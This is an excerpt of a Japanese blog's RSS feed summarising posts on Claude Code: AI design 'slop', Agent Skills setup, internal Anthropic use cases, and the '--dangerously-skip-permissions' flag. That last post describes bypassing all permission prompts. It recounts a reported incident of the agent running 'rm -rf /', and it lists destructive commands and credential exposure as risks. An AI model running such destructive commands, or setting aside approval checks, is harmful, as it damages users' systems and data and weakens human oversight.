&lt;p&gt;MEMORY.md は&lt;strong&gt;Claude 自身が書く、作業を通じた学習メモ&lt;/strong&gt;です。&lt;/p&gt;</description></item><item><title>なぜ AI は同じ紫グラデーションのサイトを作るのか — 分布的収束と Skills による脱却</title><link>https://hdknr.github.io/blogs/posts/2026/02/%E3%81%AA%E3%81%9C-ai-%E3%81%AF%E5%90%8C%E3%81%98%E7%B4%AB%E3%82%B0%E3%83%A9%E3%83%87%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E4%BD%9C%E3%82%8B%E3%81%AE%E3%81%8B-%E5%88%86%E5%B8%83%E7%9A%84%E5%8F%8E%E6%9D%9F%E3%81%A8-skills-%E3%81%AB%E3%82%88%E3%82%8B%E8%84%B1%E5%8D%B4/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%E3%81%AA%E3%81%9C-ai-%E3%81%AF%E5%90%8C%E3%81%98%E7%B4%AB%E3%82%B0%E3%83%A9%E3%83%87%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E4%BD%9C%E3%82%8B%E3%81%AE%E3%81%8B-%E5%88%86%E5%B8%83%E7%9A%84%E5%8F%8E%E6%9D%9F%E3%81%A8-skills-%E3%81%AB%E3%82%88%E3%82%8B%E8%84%B1%E5%8D%B4/</guid><description>&lt;h1 id="なぜ-ai-は同じ紫グラデーションのサイトを作るのか--分布的収束と-skills-による脱却"&gt;なぜ AI は同じ紫グラデーションのサイトを作るのか — 分布的収束と Skills による脱却&lt;/h1&gt;
&lt;p&gt;「AI にランディングページを作らせると、どれも同じに見える」&lt;/p&gt;
&lt;p&gt;Inter フォント、白背景に紫グラデーション、角丸カード、3カラムのアイコン付きグリッド — いわゆる &lt;strong&gt;AI スロップ（AI slop）&lt;/strong&gt; と呼ばれるこの現象には、明確な技術的原因があります。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/awakia/status/2027305851267252366"&gt;@awakia さんのポスト&lt;/a&gt; では、Anthropic が公式ブログで解説した &lt;strong&gt;分布的収束（Distributional Convergence）&lt;/strong&gt; という概念と、その解決策としての &lt;strong&gt;Skills&lt;/strong&gt; アプローチを紹介しています。差を生むのはモデルの性能ではなく「方向付け」だという指摘は、AI を使ったフロントエンド開発に携わる全ての人にとって重要な示唆です。&lt;/p&gt;
&lt;h2 id="分布的収束distributional-convergenceとは"&gt;分布的収束（Distributional Convergence）とは&lt;/h2&gt;
&lt;p&gt;LLM はトークンの出現確率に基づいてテキストを生成します。フロントエンドのコード生成においても同じ原理が働きます。&lt;/p&gt;
&lt;p&gt;学習データには膨大な数の Web サイトのソースコードが含まれていますが、その中で &lt;strong&gt;最も頻出する「安全な」選択肢&lt;/strong&gt; が統計的に支配的です。結果として、指示なしで「ランディングページを作って」と頼むと、学習データの &lt;strong&gt;中央値&lt;/strong&gt; に収束した出力が生成されます。&lt;/p&gt;
&lt;h3 id="なぜ紫なのか"&gt;なぜ「紫」なのか&lt;/h3&gt;
&lt;p&gt;この疑問には具体的な答えがあります。約 5 年前、Tailwind CSS のデフォルトボタンカラーが &lt;code&gt;indigo-500&lt;/code&gt; に設定されました。その後、GitHub 上に大量の Tailwind チュートリアルやサンプルコードが蓄積されました。AI に制約なしで「ランディングページを作って」と指示すると、&lt;strong&gt;2019 年から 2024 年にかけてスクレイピングされた Tailwind CSS チュートリアルの中央値&lt;/strong&gt;を得ることになります。そして、その中央値が紫なのです。&lt;/p&gt;
&lt;h3 id="ai-スロップの典型パターン"&gt;AI スロップの典型パターン&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要素&lt;/th&gt;
&lt;th&gt;AI スロップの典型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;フォント&lt;/td&gt;
&lt;td&gt;Inter, Roboto, Arial, system fonts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;配色&lt;/td&gt;
&lt;td&gt;白背景 + 紫/インディゴグラデーション&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;レイアウト&lt;/td&gt;
&lt;td&gt;3カラムのカード型グリッド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;角丸&lt;/td&gt;
&lt;td&gt;控えめだが均一な rounded-lg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アニメーション&lt;/td&gt;
&lt;td&gt;なし、または最小限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;背景&lt;/td&gt;
&lt;td&gt;単色（白 or 薄いグレー）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これは「悪い」デザインではなく、&lt;strong&gt;統計的に平均的な&lt;/strong&gt;デザインです。どのプロジェクトにも合いそうで、どのプロジェクトにも合わない — そういう出力になります。&lt;/p&gt;</description></item><item><title># 【2026年最新】世界一わかりやすい Agent Skills 完全ガイド — まとめ</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-2026%E5%B9%B4%E6%9C%80%E6%96%B0%E4%B8%96%E7%95%8C%E4%B8%80%E3%82%8F%E3%81%8B%E3%82%8A%E3%82%84%E3%81%99%E3%81%84-agent-skills-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%81%BE%E3%81%A8%E3%82%81/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-2026%E5%B9%B4%E6%9C%80%E6%96%B0%E4%B8%96%E7%95%8C%E4%B8%80%E3%82%8F%E3%81%8B%E3%82%8A%E3%82%84%E3%81%99%E3%81%84-agent-skills-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%81%BE%E3%81%A8%E3%82%81/</guid><description>&lt;h1 id="2026年最新世界一わかりやすい-agent-skills-完全ガイド--まとめ"&gt;【2026年最新】世界一わかりやすい Agent Skills 完全ガイド — まとめ&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;元記事: &lt;a href="https://note.com/ai__worker/n/n4fa73604b23d"&gt;【2026年最新】世界一わかりやすいAgent Skills完全ガイド&lt;/a&gt;（株式会社AIworker）
紹介ポスト: &lt;a href="https://x.com/fujin_metaverse/status/2026809191936188769"&gt;Fujin(@fujin_metaverse)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="agent-skills-とは"&gt;Agent Skills とは？&lt;/h2&gt;
&lt;p&gt;一言で言うと、&lt;strong&gt;「AIエージェントに渡す新人研修マニュアル」&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;会社の新入社員にマニュアルを渡すのと同じ要領で、&lt;code&gt;SKILL.md&lt;/code&gt; というテキストファイルに「やり方」を書いて所定のフォルダに置くだけ。AIエージェントが自動的にそれを見つけて読み込み、指示通りに仕事をしてくれる。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2025年12月に Anthropic がオープンスタンダードとして公開&lt;/li&gt;
&lt;li&gt;Claude, GitHub Copilot, OpenAI Codex, Cursor など主要AIツールが対応&lt;/li&gt;
&lt;li&gt;2026年2月時点でマーケットプレイス登録数は20万件超&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜ-agent-skills-が必要か--プロンプトの3つの限界"&gt;なぜ Agent Skills が必要か — プロンプトの3つの限界&lt;/h2&gt;
&lt;p&gt;従来のプロンプト運用には以下の限界があった。Agent Skills はこれらを全て解決する。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;限界&lt;/th&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;Agent Skills での解決&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;毎回同じ説明が必要&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;技術スタック、規約、コミットルールを毎回ゼロから伝える&lt;/td&gt;
&lt;td&gt;一度書けば繰り返し使える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;チーム共有できない&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;優れたプロンプトがチャット履歴に埋もれる&lt;/td&gt;
&lt;td&gt;Git で管理・共有可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;コンテキスト圧迫&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;毎回全情報を読み込むと、肝心のタスクの余裕が減る&lt;/td&gt;
&lt;td&gt;必要な時に必要な分だけ読み込む「段階的開示」&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="claude-code-のセットアップ手順"&gt;Claude Code のセットアップ手順&lt;/h2&gt;
&lt;p&gt;Agent Skills を使う最も一般的な環境は &lt;strong&gt;Claude Code&lt;/strong&gt;（Anthropic 提供のターミナル型AIコーディングツール）。ブラウザ版の Claude.ai と違い、PCのファイルを直接読み書きできるのが特徴。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1. Node.js の確認（v18.0.0 以上が必要）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;node --version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2. Claude Code のインストール（Mac / Linux）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL claude.ai/install.sh | bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 3. 確認&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;claude --version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 4. 初回起動（ブラウザでログイン画面が開く）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir ~/my-project &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cd ~/my-project
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;claude
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="skillmd-の書き方"&gt;SKILL.md の書き方&lt;/h2&gt;
&lt;p&gt;SKILL.md は &lt;strong&gt;YAMLフロントマター + Markdown 本文&lt;/strong&gt; の2部構成。&lt;/p&gt;</description></item><item><title># Anthropic 社内チームの Claude Code 活用 — マーケから法務まで、全部門が「自分で自動化」する時代</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-anthropic-%E7%A4%BE%E5%86%85%E3%83%81%E3%83%BC%E3%83%A0%E3%81%AE-claude-code-%E6%B4%BB%E7%94%A8-%E3%83%9E%E3%83%BC%E3%82%B1%E3%81%8B%E3%82%89%E6%B3%95%E5%8B%99%E3%81%BE%E3%81%A7%E5%85%A8%E9%83%A8%E9%96%80%E3%81%8C%E8%87%AA%E5%88%86%E3%81%A7%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E6%99%82%E4%BB%A3/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-anthropic-%E7%A4%BE%E5%86%85%E3%83%81%E3%83%BC%E3%83%A0%E3%81%AE-claude-code-%E6%B4%BB%E7%94%A8-%E3%83%9E%E3%83%BC%E3%82%B1%E3%81%8B%E3%82%89%E6%B3%95%E5%8B%99%E3%81%BE%E3%81%A7%E5%85%A8%E9%83%A8%E9%96%80%E3%81%8C%E8%87%AA%E5%88%86%E3%81%A7%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E6%99%82%E4%BB%A3/</guid><description>&lt;h1 id="anthropic-社内チームの-claude-code-活用--マーケから法務まで全部門が自分で自動化する時代"&gt;Anthropic 社内チームの Claude Code 活用 — マーケから法務まで、全部門が「自分で自動化」する時代&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Anthropic 公式記事: &lt;a href="https://claude.com/blog/how-anthropic-teams-use-claude-code"&gt;How Anthropic teams use Claude Code&lt;/a&gt;
再現記事: &lt;a href="https://izanami.dev/post/33bc0c0f-4210-4f5e-90e5-4ee8efe9ac66"&gt;Claude Code で広告バナー200本を15分で作る手順&lt;/a&gt;
紹介ポスト: &lt;a href="https://x.com/commte/status/2025405334005973271"&gt;commte&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Anthropic が「自社のチームが Claude Code をどう使っているか」を公式ブログで公開した。注目すべきは、エンジニアリングチームだけでなく、&lt;strong&gt;マーケティング、法務、データサイエンス、デザイン&lt;/strong&gt;といった非技術部門が、コードを1行も書かずに高度な自動化を実現している点。&lt;/p&gt;
&lt;p&gt;特にマーケティングチームの事例は、ツイートでも「えぐい広告手法」として話題になり、実際に再現して15分で広告バナー200本を生成した記事も登場した。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="マーケティングチーム--たった1人で10倍の成果"&gt;マーケティングチーム — たった1人で10倍の成果&lt;/h2&gt;
&lt;h3 id="チーム構成"&gt;チーム構成&lt;/h3&gt;
&lt;p&gt;驚くべきことに、Anthropic のグロースマーケティングチームは&lt;strong&gt;エンジニアがゼロの1人チーム&lt;/strong&gt;。担当の Austin Rau 氏は、元々ターミナルの開き方すら知らなかったという。&lt;/p&gt;
&lt;p&gt;それが、非技術者向けガイドを見てから1週間で、Figma プラグインと広告コピー生成ワークフローの両方を構築した。&lt;/p&gt;
&lt;h3 id="4つの自動化事例"&gt;4つの自動化事例&lt;/h3&gt;
&lt;h4 id="1-google-ads-の広告コピー生成2時間--15分"&gt;1. Google Ads の広告コピー生成（2時間 → 15分）&lt;/h4&gt;
&lt;p&gt;数百件の既存広告 CSV を Claude Code に読み込ませ、パフォーマンスの低い広告を自動特定。改善案を&lt;strong&gt;サブエージェント方式&lt;/strong&gt;で生成する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;サブエージェント設計のポイント:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;th&gt;専門&lt;/th&gt;
&lt;th&gt;制約&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;headline-writer&lt;/td&gt;
&lt;td&gt;見出し生成&lt;/td&gt;
&lt;td&gt;30文字以内&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;description-writer&lt;/td&gt;
&lt;td&gt;説明文生成&lt;/td&gt;
&lt;td&gt;90文字以内&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;1つのプロンプトで全部やらせるのではなく、&lt;strong&gt;タスクごとに専門エージェントを分ける&lt;/strong&gt;ことで、文字数制約を守りつつ品質を維持する。&lt;/p&gt;
&lt;h4 id="2-figma-プラグインでバナー一括生成数時間--05秒"&gt;2. Figma プラグインでバナー一括生成（数時間 → 0.5秒）&lt;/h4&gt;
&lt;p&gt;Claude Code で自作した Figma プラグインが、テンプレートのテキストノードを CSV データで自動差し替え。最大100パターンのバナーを一括生成する。&lt;/p&gt;</description></item><item><title># Claude Code の「YOLO モード」を安全に使う — dangerously-skip-permissions と Docker 活用</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E3%81%AEyolo-%E3%83%A2%E3%83%BC%E3%83%89%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86-dangerously-skip-permissions-%E3%81%A8-docker-%E6%B4%BB%E7%94%A8/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E3%81%AEyolo-%E3%83%A2%E3%83%BC%E3%83%89%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86-dangerously-skip-permissions-%E3%81%A8-docker-%E6%B4%BB%E7%94%A8/</guid><description>&lt;h1 id="claude-code-のyolo-モードを安全に使う--dangerously-skip-permissions-と-docker-活用"&gt;Claude Code の「YOLO モード」を安全に使う — dangerously-skip-permissions と Docker 活用&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;関連ポスト: &lt;a href="https://x.com/hiragram/status/2026106377169666406"&gt;hiragram&lt;/a&gt;
リポジトリ: &lt;a href="https://github.com/hiragram/claude-docker"&gt;hiragram/claude-docker&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Claude Code を使っていると、ファイル編集やコマンド実行のたびに「これを実行してもいいですか？」と確認を求められる。安全設計として正しいが、反復的な作業では毎回の承認が煩わしくなる。&lt;/p&gt;
&lt;p&gt;そこで登場するのが &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; フラグ。通称「&lt;strong&gt;YOLO モード&lt;/strong&gt;」。YOLO とは &lt;strong&gt;&amp;ldquo;You Only Live Once&amp;rdquo;（人生は一度きり）&lt;/strong&gt; の略で、「結果を気にせず、とにかくやってしまえ」というネットスラング。安全確認を一切スキップして全操作をぶっ通しで実行させる様子が、まさに「後先考えずに突っ走る」YOLOの精神そのものであることから、コミュニティでこう呼ばれるようになった。&lt;/p&gt;
&lt;p&gt;便利だが、名前の通り危険も伴う。このフラグの本質と、安全に使うための Docker 活用について整理する。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="--dangerously-skip-permissions-とは"&gt;&lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; とは&lt;/h2&gt;
&lt;p&gt;Claude Code の&lt;strong&gt;全てのパーミッションチェック（権限確認プロンプト）をバイパス&lt;/strong&gt;し、完全に自律動作させるフラグ。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;claude --dangerously-skip-permissions
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3つの動作モードの比較"&gt;3つの動作モードの比較&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モード&lt;/th&gt;
&lt;th&gt;挙動&lt;/th&gt;
&lt;th&gt;ユーザー介入&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;通常モード&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイル変更・コマンド実行のたびに承認を要求&lt;/td&gt;
&lt;td&gt;毎回必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auto-Accept&lt;/strong&gt; (Shift+Tab)&lt;/td&gt;
&lt;td&gt;UI上で承認を自動化&lt;/td&gt;
&lt;td&gt;介入可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;dangerously-skip-permissions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;全ての安全ガードレールを除去&lt;/td&gt;
&lt;td&gt;一切不要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="なぜdangerouslyと名付けられているのか"&gt;なぜ「dangerously」と名付けられているのか&lt;/h3&gt;
&lt;p&gt;Anthropic が意図的に「危険」という語を含めている。実際にリスクは深刻で、以下のような報告がある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wolak 事件（2025年10月）&lt;/strong&gt;: Ubuntu/WSL2 上で Claude Code が &lt;code&gt;rm -rf /&lt;/code&gt; を実行し、&lt;code&gt;/bin&lt;/code&gt;、&lt;code&gt;/boot&lt;/code&gt;、&lt;code&gt;/etc&lt;/code&gt; などシステムディレクトリを破壊&lt;/li&gt;
&lt;li&gt;eesel AI の調査によると、このフラグ使用者の &lt;strong&gt;32%&lt;/strong&gt; が意図しないファイル変更を経験、&lt;strong&gt;9%&lt;/strong&gt; が実際のデータ損失を報告&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="主なリスク"&gt;主なリスク&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;リスク&lt;/th&gt;
&lt;th&gt;具体例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;破壊的コマンドの無確認実行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rm -rf&lt;/code&gt;、&lt;code&gt;git reset --hard&lt;/code&gt;、設定ファイル上書き&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;スコープクリープ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;指定範囲外のファイルを「親切心」で変更・削除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;資格情報の漏洩&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ホストの全資格情報にアクセス可能な状態&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;連鎖的被害&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1つの誤った解釈が次々と問題を引き起こす&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="それでも-yolo-モードが必要な理由"&gt;それでも YOLO モードが必要な理由&lt;/h2&gt;
&lt;p&gt;危険だが、以下のユースケースでは事実上不可欠。&lt;/p&gt;</description></item><item><title># Claude Code の能力を10倍にする CLAUDE.md — AI エージェントのマネジメント哲学</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E3%81%AE%E8%83%BD%E5%8A%9B%E3%82%9210%E5%80%8D%E3%81%AB%E3%81%99%E3%82%8B-claude.md-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%83%8D%E3%82%B8%E3%83%A1%E3%83%B3%E3%83%88%E5%93%B2%E5%AD%A6/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E3%81%AE%E8%83%BD%E5%8A%9B%E3%82%9210%E5%80%8D%E3%81%AB%E3%81%99%E3%82%8B-claude.md-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%83%8D%E3%82%B8%E3%83%A1%E3%83%B3%E3%83%88%E5%93%B2%E5%AD%A6/</guid><description>&lt;h1 id="claude-code-の能力を10倍にする-claudemd--ai-エージェントのマネジメント哲学"&gt;Claude Code の能力を10倍にする CLAUDE.md — AI エージェントのマネジメント哲学&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;紹介ポスト: &lt;a href="https://x.com/masahirochaen/status/2025423179578311048"&gt;チャエン @masahirochaen&lt;/a&gt;
解説記事: &lt;a href="https://zenn.dev/pochaneco/articles/dc7b0b3cecc836"&gt;Zenn: Claude Codeの能力を10倍にする CLAUDE.md の中身を見てみた&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;海外で大バズりした「Claude Code の能力を10倍にする CLAUDE.md」。Anthropic の Claude Code 開発者が実際に使っているベストプラクティスを、1つの CLAUDE.md ファイルに構造化したもの。&lt;/p&gt;
&lt;p&gt;これは単なるプロンプトテンプレートではない。&lt;strong&gt;AI エージェントをどうマネジメントするか&lt;/strong&gt;という哲学を、実装可能な形にまとめたファイルだ。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="6つのワークフロー原則"&gt;6つのワークフロー原則&lt;/h2&gt;
&lt;h3 id="1-plan-mode-デフォルト"&gt;1. Plan Mode デフォルト&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;「3ステップ以上、またはアーキテクチャ判断を伴うタスクは、必ず Plan Mode から始めよ」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code が実装に飛びつくのを防ぐ最も重要なルール。計画なしに実装を始めると、途中で方向修正が必要になったとき、修正の連鎖（カスケード失敗）が発生する。&lt;/p&gt;
